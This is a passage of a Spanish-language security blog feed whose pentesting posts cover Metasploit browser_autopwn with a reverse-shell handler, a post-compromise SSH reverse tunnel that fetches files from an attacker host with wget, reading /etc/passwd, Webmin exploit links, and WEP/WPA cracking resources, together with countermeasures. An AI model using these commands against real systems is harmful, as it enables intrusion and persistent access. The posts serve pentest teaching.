&nbsp; &nbsp;URIPATH &nbsp; &nbsp; / &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The URI to use <span class="kw1">for</span> this exploit <span class="br0">&#40;</span>default is random<span class="br0">&#41;</span><br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; run<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Auxiliary module execution completed<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting exploit modules on host <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>&#8230;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &#8212;</p>
<p><span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using URL: http://<span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span>:<span class="nu0">80</span>/IC0F7kIlYh<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &nbsp;Local IP: http://<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>:<span class="nu0">80</span>/IC0F7kIlYh<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
&#8230;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting the payload handler&#8230;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Started reverse handler on port <span class="nu0">6666</span><br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting the payload handler&#8230;</p>
<p><span class="br0">&#91;</span>*<span class="br0">&#93;</span> &#8212; Done, found <span class="nu0">15</span> exploit modules</p>
<p><span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using URL: http://<span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &nbsp;Local IP: http://<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
&nbsp;</div>
<p>That&#8217;s it now you have to wait so a browser bite the bait and get a shell inside the computer with the user priviledges that is running the browser.</p>
<p>Happy Pentesting</p>
<p><em>Adrián Puente Z.</em></p>
<p><strong>Technorati Tags: </strong><br />
<a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>; <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>; <a href="http://www.technorati.com/tag/Metasploit" rel="tag">Metasploit</a>; <a href="http://www.technorati.com/tag/Hacker" rel="tag">Hacker</a>; <a href="http://www.technorati.com/tag/Aurora+IE+" rel="tag">Aurora IE </a>; <a href="http://www.technorati.com/tag/Ettercap" rel="tag">Ettercap</a>; <a href="http://www.technorati.com/tag/arp+poisoning" rel="tag">arp poisoning</a>; <a href="http://www.technorati.com/tag/security" rel="tag">security</a>; <a href="http://www.technorati.com/tag/pentest" rel="tag">pentest</a>; <a href="http://www.technorati.com/tag/pentesting" rel="tag">pentesting</a>; <a href="http://www.technorati.com/tag/hacking" rel="tag">hacking</a>; <a href="http://www.technorati.com/tag/hacker" rel="tag">hacker</a>; <a href="http://www.technorati.com/tag/smb" rel="tag">smb</a>; <a href="http://www.technorati.com/tag/hashes" rel="tag">hashes</a>; <a href="http://turbotagger.brainbliss.com">Tag generator</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/01/28/ettercap-metasploit-helping-the-aurora-attack/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Presentación sobre Seguridad en Redes Inalámbricas</title>
		<link>http://hackarandas.com/blog/2009/04/13/presentacion-sobre-seguridad-en-redes-inalambricas/</link>
		<comments>http://hackarandas.com/blog/2009/04/13/presentacion-sobre-seguridad-en-redes-inalambricas/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 06:11:17 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2009/04/13/67/</guid>
		<description><![CDATA[Ya tiene un buen rato desde que no escribo en mi blog así que con este post inicio el año y me he propuesto escribir al menos 2 veces por mes. 
Hoy toca hablar de un tema muy interesante del que he estado investigando ya por bastante tiempo: Seguridad en Redes Inalámbricas. Un tema a [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/wifi.png" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Wifi Logo" alt="Seguridad en Redes Inalámbricas" />Ya tiene un buen rato desde que no escribo en mi blog así que con este post inicio el año y me he propuesto escribir al menos 2 veces por mes. </p>
<p>Hoy toca hablar de un tema muy interesante del que he estado investigando ya por bastante tiempo: Seguridad en Redes Inalámbricas. Un tema a mi parecer que a todos nos interesa pues a estas alturas es difícil hallar a una persona que navegue por Internet y que no haya empleado una red inalámbrica, ya sea en su escuela, hogar o trabajo.</p>
<p>Hace ya un tiempo fuí invitado por las representaciones <a href="http://rep_computacion.itam.mx/">e-T@M</a> a la <a href="http://semanaing.itam.mx/programa.html">XXI Semana de Ingenierías del ITAM</a> para dar una conferencia sobre el tema. Aunque el demo no salió muy bien la verdad es que nos divertimos mucho. Hace unos dias, en el área dónde laboro dentro de Sm4rt Security Services, me pidieron que diera una capacitación en este rubro. </p>
<p>La verdad no quiero extenderme mucho en este post porque ya he tocado el tema en otras entradas como <a href="http://hackarandas.com/blog/2007/03/03/adicciones/">Adicciones</a> o <a href="http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/">Depredador en el Aire</a> donde toco mas el tema del cracking de WEP y WPA. En la siguiente presentación, que puedes descargar desde la sección de&nbsp; <a href="http://hackarandas.com/blog/security-articles/">Security Articles</a>, hago una investigación mas a fondo sobre los algoritmos de cifrado que emplea WEP, WPA y WPA2, así cómo sus vulnerabilidades.</p>
<p>Esta presentación ha sido creada para fines educativos de forma que las personas que administren o sean dueños de una red inalámbrica tengan los medios para entender como funciona esta y de la necesidad de configurar sus dispositivos correctamente. Ni yo ni Sm4rt Security Services somos responsable por el mal uso de esta información.</p>
<p>Esta presentación está licenciado bajo Creative Commons: <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/mx/"><img alt="Creative Commons License" style="border-width: 0pt;" src="http://i.creativecommons.org/l/by-nc-sa/2.5/mx/80x15.png" /></a></p>
<p>
<a href="http://hackarandas.com/security-articles/Seguridad.Redes.Inalambricas-Adrian.Puente.Z.pdf"><strong>* Seguridad en Redes Inalámbricas&nbsp; &#8211; 1.5 MB</strong></a>
</p>
<p><address>Adrián Puente Z.</address>
</p>
<p><!-- technorati tags begin -->
<p style="font-size:10px;text-align:right;">Tags: <a href="http://www.technorati.com/tag/seguridad+redes+inalambricas" rel="tag">seguridad redes inalambricas</a> <a href="http://www.technorati.com/tag/redes+inalambricas" rel="tag">redes inalambricas</a> <a href="http://www.technorati.com/tag/seguridad" rel="tag">seguridad</a> <a href="http://www.technorati.com/tag/itam" rel="tag">itam</a> <a href="http://www.technorati.com/tag/wep" rel="tag">wep</a> <a href="http://www.technorati.com/tag/wpa" rel="tag">wpa</a> <a href="http://www.technorati.com/tag/Sm4rt+security+services" rel="tag">Sm4rt security services</a> <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a> <a href="http://www.technorati.com/tag/hackarandas.com" rel="tag">hackarandas.com</a> <a href="http://www.technorati.com/tag/ch0ks" rel="tag">ch0ks</a> <a href="http://www.technorati.com/tag/presentacion" rel="tag">presentacion</a> <a href="http://turbotagger.brainbliss.com">Turbo Tagger</a> </p>
<p><!-- technorati tags end --></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2009/04/13/presentacion-sobre-seguridad-en-redes-inalambricas/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SSH Jutsu I &#8211; Acercamiento de Puerto</title>
		<link>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/</link>
		<comments>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 07:00:49 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/</guid>
		<description><![CDATA[ Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.hackarandas.com/blog/wp-content/uploads/2008/06/jutsu00.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Sello de Dragon" alt="" /> Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el <a href="http://phpshell.sourceforge.net/">PHP Shell</a> y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).</p>
<p>Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:</p>
<p><span style="font-weight: bold;">Escenario</p>
<p></span>
<ol>
<li>Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto</li>
<li>Servidor &#8220;protegido&#8221; por un FW Checkpoint.</li>
<ol>
<li>Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.</li>
<li>No tiene ACLs de salida del servidor, <span style="font-style: italic;">are you thinking what I am thinking?<br />
</span></li>
</ol>
<li>Se ha logrado comprometer el servidor</li>
<ol>
<li>Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el <a href="http://netcat.sourceforge.net/">Netcat</a> conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
</li>
<li>Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.</li>
<li>Tiene el <a href="http://www.webmin.com/">Webmin</a> habilitado &gt;:) pero bloqueado por el FW :&#8217;(
</li>
</ol>
</ol>
<p><span style="font-weight: bold;">Planteamiento</p>
<p></span>¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la <a href="http://es.wikipedia.org/wiki/DMZ">DMZ</a> y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando <span style="font-style: italic;">cat /etc/passwd</span> pero los <a href="http://es.wikipedia.org/wiki/Hash">hashes</a> de las contraseñas&nbsp; no ya que no disponemos de privilegios de root<span style="font-weight: bold;"> </span>y hacer el viejo truco con <a href="http://www.thc.org/thc-hydra/">Hydra</a> de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.<span style="font-weight: bold;"> </p>
<p></span>¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.<span style="font-weight: bold;"></p>
<p>Jutsu </p>
<p></span>&nbsp; Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del <a href="http://es.wikipedia.org/wiki/Secure_Shell">SSH</a> y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:</p>
<p>Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una <a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa_asim%C3%A9trica">llave pública</a> de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:<br />
<code><br />
# Creamos el directorio donde guardaremos la configuracion<br />
mkdir ~/.ssh<br />
# Creamos la llave sin contraseña para que sea mas cómoda de usar<br />
ssh-keygen -t dsa<br />
# Nos crea dos archivos que son la llave pública y la privada<br />
id_dsa  id_dsa.pub<br />
# Renombramos la pública para poder usarla como autenticación<br />
mv  id_dsa.pub authorized_keys<br />
</code><br />
Ahora creamos el siguiente archivo config:<br />
<code><br />
 Host atacante<br />
		# La IP o nombre de dominio que estamos usando<br />
		Hostname         atacante.no-ip.org<br />
		RemoteForward	10000 127.0.0.1:10000<br />
		# Puerto que tengamos abierto y con el servicio de SSH corriendo<br />
		Port			1025<br />
		# El usuario que hallamos creado<br />
		User            tunel<br />
		BatchMode       yes<br />
		Compression     yes<br />
		# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel<br />
		IdentityFile	/tmp/.ssh/id_dsa<br />
		CompressionLevel 		9<br />
		# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.<br />
		StrictHostKeyChecking	no<br />
		PubkeyAuthentication	yes<br />
		UserKnownHostsFile		/tmp/.ssh/known_hosts<br />
</code><br />
Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta <a href="http://www.home.unix-ag.org/simon/woof.html">woof</a>.<br />
<code><br />
# En el lado del atacante<br />
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh</p>
<p># En el lado de la victima<br />
cd /tmp<br />
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -<br />
cd .ssh<br />
chmod 0600 *<br />
ssh-agent bash<br />
ssh-add<br />
ssh -fNF config atacante<br />
</code><br />
Recuerda que si estas detrás de un dispositivo que haga <a href="http://es.wikipedia.org/wiki/NAT">NAT</a> debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el <a href="http://es.wikipedia.org/wiki/GNU_Wget">wget</a> no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos <a href="http://www.youtube.com/watch?v=kIAyegmzrxE">cableacces</a> estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.</p>
<p>Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:<br />
<code><br />
ps ax | grep -i ssh<br />
28659 ?        Ss     0:30 ssh -fNF config atacante<br />
</code><br />
Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:<br />
<code><br />
sudo netstat -ptuna | grep -i listen<br />
tcp        0      0 127.0.0.1:10000          0.0.0.0:*               LISTEN      -<br />
</code><br />
Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: <span style="font-style: italic;">https://localhost:10000. </p>
<p></span>Nos vamos a la siguiente página y descargamos el <a href="http://es.wikipedia.org/wiki/Exploit">exploit</a>:</p>
<p>http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en <a href="http://es.wikipedia.org/wiki/Perl">Perl</a><br />
http://www.milw0rm.com/exploits/1997 en <a href="http://es.wikipedia.org/wiki/.php">PHP</a></p>
<p><span style="font-weight: bold;">Contramedidas</p>
<p></span>
<ol>
<li>No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
</li>
<li>Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. <a href="http://rfxnetworks.com/apf.php">APF</a> es mi recomendación.
</li>
<li>En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el <a href="http://http://technet.microsoft.com/en-us/wsus/default.aspx">WSUS</a> para <a href="http://es.wiktionary.org/wiki/Haselfroch">Haselfroch</a>.</li>
<li>Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por <a href="http://members.shaw.ca/nicholas.fong/vnc/">túneles de SSH</a>.</li>
<li>Mantén un procedimiento para verificar la integridad de tus servidores como <a href="http://www.tripwire.org/">Tripwire</a>.</li>
<li>Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.</li>
<li>Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como <a href="http://www.gfi.com/languard/">GFI Languard</a> y <a href="http://www.nessus.org/">Nessus</a>.
</li>
</ol>
<p>Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.</p>
<address>Adrián Puente Z.</address>
<address></address>
<div class="flockcredit" style="text-align: right; color: #CCC; font-size: x-small;">Blogged with the <a href="http://www.flock.com/blogged-with-flock" style="color: #999; font-weight: bold;" target="_new" title="Flock Browser">Flock Browser</a></div>
<p><!-- technorati tags begin -->
<p style="font-size:10px;text-align:right;">Tags: <a href="http://technorati.com/tag/Seguridad" rel="tag">Seguridad</a>, <a href="http://technorati.com/tag/firewall" rel="tag">firewall</a>, <a href="http://technorati.com/tag/%20webmin" rel="tag"> webmin</a>, <a href="http://technorati.com/tag/%20Secure%20Shell" rel="tag"> Secure Shell</a>, <a href="http://technorati.com/tag/%20SSH" rel="tag"> SSH</a>, <a href="http://technorati.com/tag/%20Apache" rel="tag"> Apache</a></p>
<p><!-- technorati tags end --></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>USBeando agusto&#8230;</title>
		<link>http://hackarandas.com/blog/2007/04/19/usbeando-agusto/</link>
		<comments>http://hackarandas.com/blog/2007/04/19/usbeando-agusto/#comments</comments>
		<pubDate>Fri, 20 Apr 2007 02:45:48 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/04/19/usbeando-agusto/</guid>
		<description><![CDATA[ Hace poco me encontré con la grata sorpresa de que el Firefox lo podias correr desde el USB, exacto, todo corría, ejecutaba, escribía y se guardaba desde el diminuto dispositivo USB y al entrar a la página, después de varios meses descubro que hay todo un proyecto llamado PortableApps donde hay aplicaciones donde puedes [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image53" src="http://hackarandas.com/blog/wp-content/uploads/2007/05/usb.miniatura.png" alt="USB" /> Hace poco me encontré con la grata sorpresa de que el Firefox lo podias correr desde el USB, exacto, todo corría, ejecutaba, escribía y se guardaba desde el diminuto dispositivo USB y al entrar a la página, después de varios meses descubro que hay todo un proyecto llamado <a href="http://www.portableapps.com/">PortableApps</a> donde hay aplicaciones donde puedes tener &#8220;tu vida entera&#8221; en tu USB ok, eso sonó aparte de exagerado muuuy g33k. </p>
<p>  Por ejemplo yo soy mucho de usar el Thunderbird para leer mis correos, el Sunbird para gestionar mis citas, mientras que navego el 99% con el Firefox y chateo con el Gaim, pues todo eso ya está para USB y podemos seguir con nuestas aplicaciones favoritas en cualquier computadora y sincronizar las funcionalidades de las aplicaciones con nuestro sistema base usando <a href="http://www.cis.upenn.edu/~bcpierce/unison/">Unison</a> o <a href="http://en.wikipedia.org/wiki/Rsync">Rsync</a>.</p>
<p>¿Pero qué mas podemos hacer? Ahora con la capacidad de las computadoras de bootear por casi cualquier periférico, que vaya, <a href="http://es.wikipedia.org/wiki/BOOTP">bootear por red</a> es lo mas viejo del mundo el <a href="http://www.le.ac.uk/cc/dsss/docs/usb_boot.shtml">arrancar por USB</a> es lo de hoy, es cosa de configurar el <a href="http://es.wikipedia.org/wiki/BIOS">BIOS</a> para lograr esto.</p>
<p>Pues con la novedad que se pueden arrancar sistemas operativos por USB, <em>&#8220;Naaa eso es viejo!!!&#8221;</em> me diras pero que tal arrancar un Windows XP desde USB todo montado sobre RAM, pues si, se pueden tener tantos sistemas operativos como quepan en nuestro USB porque ahora hasta se le puede instalar el <a href="http://www.gnu.org/software/grub/">GRUB</a> al dispositivo.</p>
<p>  Salió un nuevo proyecto para crear Live CDs de Windows XP que hasta ahora se ha hecho fácil. Aunque ya han existido proyectos como el <a href="http://winpe.sourceforge.net/">ERD Commander</a> de WinInternals recientemente adquirido por Microsoft y el <a href="http://www.bootcd.us/">BartPE XPE</a> y creo que hasta hay un Live CD de Windows Vista. </p>
<p>  Si pero que onda con correr Sistemas Operativos en el USB y encima arrancar con Grub. Los artículos están realmente interesantes, se los paso al costo: </p>
<p>  * <strong><a href="http://darksun.com.pt/mirage/usb_minipe_backtrack_knoppix.html">miniPE, BackTrack and Knoppix in an USB pen</a></strong><br />
  * <strong><a href="http://maxt.dk/archives/2004/10/25/running-hirens-bootcd-60-from-bootable-usb-stick/"> Running Hiren’s BootCd 6.0 from Bootable Usb Stick</a></strong><br />
  * <strong><a href="http://featherlinux.berlios.de/usb-instructions.htm">Installing Feather Linux to a USB drive</a></strong></p>
<p><em>Adrian Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/04/19/usbeando-agusto/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Depredador en el Aire&#8230;</title>
		<link>http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/</link>
		<comments>http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/#comments</comments>
		<pubDate>Sun, 15 Apr 2007 22:00:00 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/</guid>
		<description><![CDATA[   Realmente estaba pensando en escribir un muy buen artículo sobre Hacking de redes Wireless pero desde que la empecé hasta el dia de hoy han pasado muchas cosas y realmente ya hay escritos tantos artículos como peces hay en el mar, ok, exagero pero ya hay un mogollón y como odio ser [...]]]></description>
			<content:encoded><![CDATA[<p> <img align="left" alt="Aircrack Console" id="image11" title="Aircrack Console" src="http://hackarandas.com/blog/wp-content/uploads/2007/01/aircrack.miniatura.gif" />  Realmente estaba pensando en escribir un muy buen artículo sobre Hacking de redes Wireless pero desde que la empecé hasta el dia de hoy han pasado muchas cosas y realmente ya hay escritos tantos artículos como peces hay en el mar, ok, exagero pero ya hay un mogollón y como odio ser del montón me dispuse a crear una guía-recopilación de los mejores artículos y videos que halle y sazonarlo un poco con mi experiencia.</p>
<p>  Yo soy de la idea de no reinventar el hilo negro sino utilizar de la mejor forma los recursos que existen. En mi experiencia nada cómo usar un Live CD ya sea para recuperación , forencia o pentest. Entre los Linux Live CDs que he probado están:</p>
<p>* <a href="http://featherlinux.berlios.de/">Feather Linux</a><br />
* <a href="http://www.damnsmalllinux.org/">Damn Small Linux</a><br />
* <a href="http://www.toms.net/rb/">Tomsrtbt</a><br />
* <a href="http://www.knoppix.org/">Knoppix</a><br />
* <a href="http://www.e-fense.com/helix/contents.php">Helix</a><br />
* <a href="http://www.sleuthkit.org/">SleuthKit</a><br />
* <a href="http://www.ussysadmin.com/operator/">Operator</a><br />
* <a href="http://http://www.remote-exploit.org/index.php/Main_Page">Backtrack</a></p>
<p>Pero en realidad hay una gran <a href="http://www.frozentech.com/content/livecd.php"> lista de distribuciones Live CD</a> de donde escoger. Para iniciar comentaré lo que se necesita para el rompimiento de redes inalámbricas:</p>
<p>La verdad es que se puede instalar desde cero la suite de Aircrack-ng pero en caso de que usemos <a href="http://bulma.net/body.phtml?nIdNoticia=1613">Hasefroch</a> podemos bootear la máquina con un Live CD especializado o cear una máquina de virtual en el VMplayer  y una tarjera con el chipset indicado.</p>
<p><strong>* Software</strong></p>
<p>Podemos descargar el Backtrack que ya hoy está en su versión liberada 2<br />
Se necesita el <a href="http://www.remote-exploit.org/backtrack_download.html">Backtrack</a> o el <a href="http://www.wifislax.com">WifiSlax</a> que es una versión modificada del Backtrack en español y con muchas interfaces configuradas para que no tengamos que teclear el casi nada.</p>
<p> Para crear una máquina virtual podemos usar el <a href="http://www.vmware.com/products/player/">VMplayer</a> que es gratuito y creamos la máquina virtual con el <a href="http://petruska.stardock.net/Software/VMware.html">vmxbuilder</a> que igualmente no cuesta un peso. </p>
<p><strong>* Hardware</strong></p>
<p> ¿Qué tarjeta comprar? Lo importante es el chipset no la tarjeta. En la documentacion de Aircrack que está en <a href="http://www.wirelessdefence.org/Contents/AircrackORIGINAL.html">inglés</a> y en <a href="http://hwagm.elhacker.net/htm/traduccion.htm">español</a> y tienen una sección que nos dice cuales son las mejores tarjetas para realizar esto, en mi caso he probado ya varias y hasta hice un articulo al respecto. Las que recomiendo ampliamente de chipset Ralink son:<br />
* <a href="http://www.dlink.com/products/?pid=334">DWL-G122</a><br />
* <a href="http://www.linksys.com.mx/linksyswebsitepages/linksysproductos/inalambricos/consultabaselinksys/resultado.php?recordID=145">WUSB54g Version 4</a></p>
<p><strong>* Tutoriales</strong></p>
<p>En este <a href="http://www.irongeek.com/i.php?page=videos/vmxbuilder">video</a> explican como crear una máquina virtual sin el VMware, aqui podemos aprender como <a href="http://www.irongeek.com/i.php?page=videos/vmwareplayerlivecd">correr un Live CD en Vmware</a> </p>
<p>Video de como romper <a href="http://www.irongeek.com/i.php?page=videos/glj12-wep-cracking-with-vmplayer-backtrack-aircrack-and-dlink-dwl-g122-usb">Wep con Backtrack 1</a> </p>
<p>Mas videos de Craking WEP y WPA de <a href="http://www.aircrack-ng.org/doku.php?id=videos">aircrack</a> y <a href="http://www.wifislax.com/soporte/videos.html">wifislax</a></p>
<p><strong>* Lo mas nuevo</strong></p>
<p>  En lo último que encontré es el nuevo algoritmo para rompimiento de redes llamado aircrack-ptw y el soporte que se le ha dado al chipset Centrino ipw220 y el chipset Broadcom en el Wifislax. Igualmente ya sacaron el Airoscript que es la automatización de la suite aircrack para facilitar todo y se han generado algoritmos y métodos para romper WPA.</p>
<p><strong>* Problemática</strong></p>
<p>  En México o al menos en el DF el 80% de los usuarios de internet compran el Kit de Prodigy inalámbrico el cual conectan, configuran y olvidan encontrando sumamente cómodo y <em>chic</em> la red inalámbrica sin estar conscientes de que el algoritmo de cifrado WEP es de 64 bits y la clave hex son 10 números sin letras haciendo sumamente sencillo romper  la clave (te laten 10 mins) y entrar a la red del usuario, sí feliz usuario de Prodigy sienta miedo, usted puede estar hosteando a un intruso que ya ha tomado su access point, cambiado contraseña y puede estar realizando<a href="http://bulma.net/body.phtml?nIdNoticia=1193"> técnicas de arp poisoning</a> para capturar su tráfico, contraseñas y hasta tarjetas de banco, porque de seguro tu eres de los que tiene su bancanet y cree que porque tiene SSL es seguro cuando el 90% de los usuarios dan aceptar sin pelar la advertencia del navegador. ¿Eres uno de ellos?</p>
<p><strong>* Contramedidas</strong></p>
<p>  Algunas medidas para evitar tener colgado a alguien</p>
<p>* Si no requieres tener red inalámbrica <em><strong>no la pongas</strong></em>.<br />
* Asigna contraseña al Access Point.<br />
* Esconde el ESSID que aún así se puede obtener y cámbiaselo a algo que no diga 2WIRE[HACKME].<br />
* Usa de pérdida WEP de 128, sí puedes WPA aunque los dispositivos mas viejos no lo soportan.<br />
* Filtra las MACs de las máquinas si no tienes demasiadas aunque esto se puede hacer un infierno en grandes redes.<br />
* Cambia seguido la clave WEP y la contraseña del Access Point.<br />
* Revisa tu Access cada que puedas, este logea las máquinas que se han conectado, si ves alguna máquinas desconocida cambia las contraseñas.<br />
* Asigna firewalls personales a tus máquinas y quita carpetas compartidas que no sean necesarias y las que si ponles permisos por grupos o usuarios.<br />
* <em><strong>Ponle contraseñas a los usuarios</strong></em> de las máquinas, al menos al Administrador.</p>
<p><strong>* Conclusión</strong></p>
<p>  No hay nada seguro en realidad pero siempre podremos mitigar los ataques teniendo algo de cuidado y propagando una cultura de la seguridad. Alguna vez escuché que si tienes un coche este conlleva responsabilidades como el pago de tenencia y la verificación, con la seguridad es lo mismo, si uno compra un dispositivo uno se arriesga a las vulverabilidades que trae consigo este, el desconocer los medios para protegernos y/o no llevarlos a cabo nos hacen vícitmas potenciales, está en cada uno mitigar estas posibles amenazas.</p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Habemus Galería</title>
		<link>http://hackarandas.com/blog/2007/03/15/habemus-galeria/</link>
		<comments>http://hackarandas.com/blog/2007/03/15/habemus-galeria/#comments</comments>
		<pubDate>Thu, 15 Mar 2007 22:18:42 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[c0de]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/03/15/habemus-galeria/</guid>
		<description><![CDATA[ Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como Flicker, que se  crearan [...]]]></description>
